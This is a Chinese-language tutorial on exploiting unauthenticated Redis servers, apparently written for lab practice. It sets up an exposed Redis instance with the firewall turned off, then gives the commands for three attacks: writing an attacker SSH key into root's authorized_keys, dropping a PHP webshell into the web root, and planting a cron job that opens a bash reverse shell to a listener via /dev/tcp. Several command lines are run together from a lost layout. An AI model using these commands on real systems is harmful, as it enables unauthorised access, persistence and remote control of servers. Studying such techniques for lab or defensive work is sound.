知识分享|Redis未授权访问漏洞汇集

Redis绑定在0.0.0.0:6379，且没有进行添加防火墙规则避免其他非信任来源IP访问，直接暴露在公网。
没有设置密码认证，可以远程登录Redis服务。

攻击者可以不用认证访问到内部数据，可能导致敏感信息泄露，黑客也可以执行攻击代码清空所有数据。 黑客可以通过eval执行lua代码，或者通过数据备份功能往磁盘写入后门文件。 如果redis以root身份运行，黑客可以给root用户写入ssh公钥文件，直接通过ssh远程登录服务器。

ssh-keygen -t rsa  #生成密钥值
redis-cli -h ip -p 6379 -a passwd   # 外部连接
config set dir /root/redis    #设置保存目录 config set dbfilename redis.rdb   #设置保存文件名 config get dir   #查看保存目录或检查工作目录是否设置成功 config get dbfilename   #检查备份文件名是否设置成功
set webshell "<?php phpinfo();?>"   #设置webshell
config set dbfilename authorized_keys  #设置认证密钥值
set x "nnn公钥值nnn"  #将公钥写入x
save   #进行备份操作
ssh -i id_rsa root@地址 -p21  #连接SSH
slaveof ip port                 # 设置主从关系

wget http://download.redis.io/releases/redis-5.0.9.tar.gz

tar xzf redis-5.0.9.tar.gz

sudo apt install gcc tclcd redis-5.0.9make

cd srccp redis-server /usr/bin/cp redis-cli /usr/bin/

cp redis.conf /etc/

vim /etc/redis.conf

redis-server /etc/redis.conf （在redis.conf文件目录下执行）#重新启动配置文件才会生效-----------------------#将此启动脚本加入到/etc/rc.local，让其开机自启动echo "/home/CnHongKe/Redis/redis-5.0.9/src/redis-server    /etc/redis.conf "  >> /etc/rc.local#/home/CnHongKe/Redis/redis-5.0.9是自己安装Redis的目录

默认apt-get安装，先进行更新sudo apt-get upgrade安装sudo apt-get install redis-server  #默认安装到 /usr/bin/redis-server直接启动服务，执行redis-server或者redis-server+（配置文件目录）将配置文件中的bind参数改为0.0.0.0或者注释掉，并且修改protected-mode为no允许外连。关闭防火墙，具体命令：sudo ufw disable  查看防火墙状态：sudo ufw status

服务端的Redis连接存在未授权，在攻击机上能用redis-cli直接登陆连接，无需登陆验证。服务端存在.ssh目录并且有写入的权限。

在数据库中插入一条数据，将本机的公钥作为value或key值，然后通过修改数据库的默认路径为/root/.ssh和默认的缓冲文件authorized.keys，把缓冲的数据保存在文件里，这样就可以在服务器端的/root/.ssh下生一个授权的key。【特别说明】这个场景主要应用在没有 web 应用的服务器，redis一般都是与web分离的，linux系统都存在/root目录，所以这种方式会更加实用些。

ssh-keygen -t rsa 

 cat /root/.ssh/id_rsa.pub 或者通过以下命令将生成的公钥另存为pub_key.txt (echo -e "nn";cat /root/.ssh/id_rsa.pub;echo -e "nn")>pub_key.txt 最后将保存的pub_key.txt文件内容写入redis。 cat /root/.ssh/pub_key.txt | redis-cli -h 目标IP -x set pub

redis-cli -h IP -p 6379  #IP是目标redis主机

config set dir /root/.ssh/  config set dbfilename authorized_keys# set x "nnn公钥nnn"，将公钥写入x键。前后用n换行，避免和Redis里其他缓存数据混合savequit---------------------------【友情提醒】注意在config set dir /root/.ssh时出现(error) ERR Changing directory: No such file or directory，只需要在靶机输入ssh localhost即可。

ssh -i id_rsa root@ip  #IP是目标redis主机

目标开启了web服务，并且知道web路径。root权限执行的redis，具有读写权限。

借助已知网站的物理路径或绝对路径，通过高级权限进行写马与连接。

apt install apache2 #安装命令systemctl status apache2   #检查服务是否启动----------apache 的默认的一些目录-----------  默认文档根目录是在 ubuntu 上的 /var/www 目录  配置文件是 / etc/apache2/apache2.conf  配置存储在的子目录在/etc/apache2 目录----------开启、关闭和重启服务器-----------  /etc/init.d/apache2 start    //启动Apache服务  /etc/init.d/apache2 stop    //停止Apache服务  /etc/init.d/apache2 restart    //重启Apache服务 

redis-cli -h 192.168.100.138     #连接Redisconfig set dir /var/www/html/     #设置要写入shell的绝对路径config set dbfilename shell.php  #设置数据文件的名字set x "rnrn<?php phpinfo();?>rnrn"   #写入phpinfo()到webshell键save  #保存

root启用Redisredis无密码或者弱密码

在redis数据库中插入一条数据，将计划任务的内容作为value，key值随意，然后通过修改数据库的默认路径为目标主机计划任务的路径，把缓冲的数据保存在文件里，这样就可以在服务器端成功写入一个计划任务进行反弹shell。#与写入webshell有点类似 

nc -lnvp 8888

利用该漏洞建议在Centos上实验，有时Ubuntu上行不通，原因如下：
因为默认redis写文件后是644的权限，但ubuntu要求执行定时任务文件/var/spool/cron/crontabs/<username>权限必须是600也就是-rw-------才会执行，否则会报错(root) INSECURE MODE (mode 0600 expected)，而Centos的定时任务文件/var/spool/cron/<username>权限644也能执行
因为redis保存RDB会存在乱码，在Ubuntu上会报错，而在Centos上不会报错
由于系统的不同，crontrab定时文件位置也会不同：
Centos的定时任务文件在/var/spool/cron/<username>
Ubuntu定时任务文件在/var/spool/cron/crontabs/<username>
如果必须在Ubuntu系统中演示，可以参考链接https://www.dazhuanlan.com/knight9001/topics/1061140

redis-cli -h 192.168.100.77     #连接CentOS Redis服务器set xx "n* * * * *  bash -i >& /dev/tcp/192.168.100.94/8888 0>&1n"   #反弹连接config set dir /var/spool/cron/     #设置要写入shell的绝对路径config set dbfilename root  #设置数据文件的名字save  #保存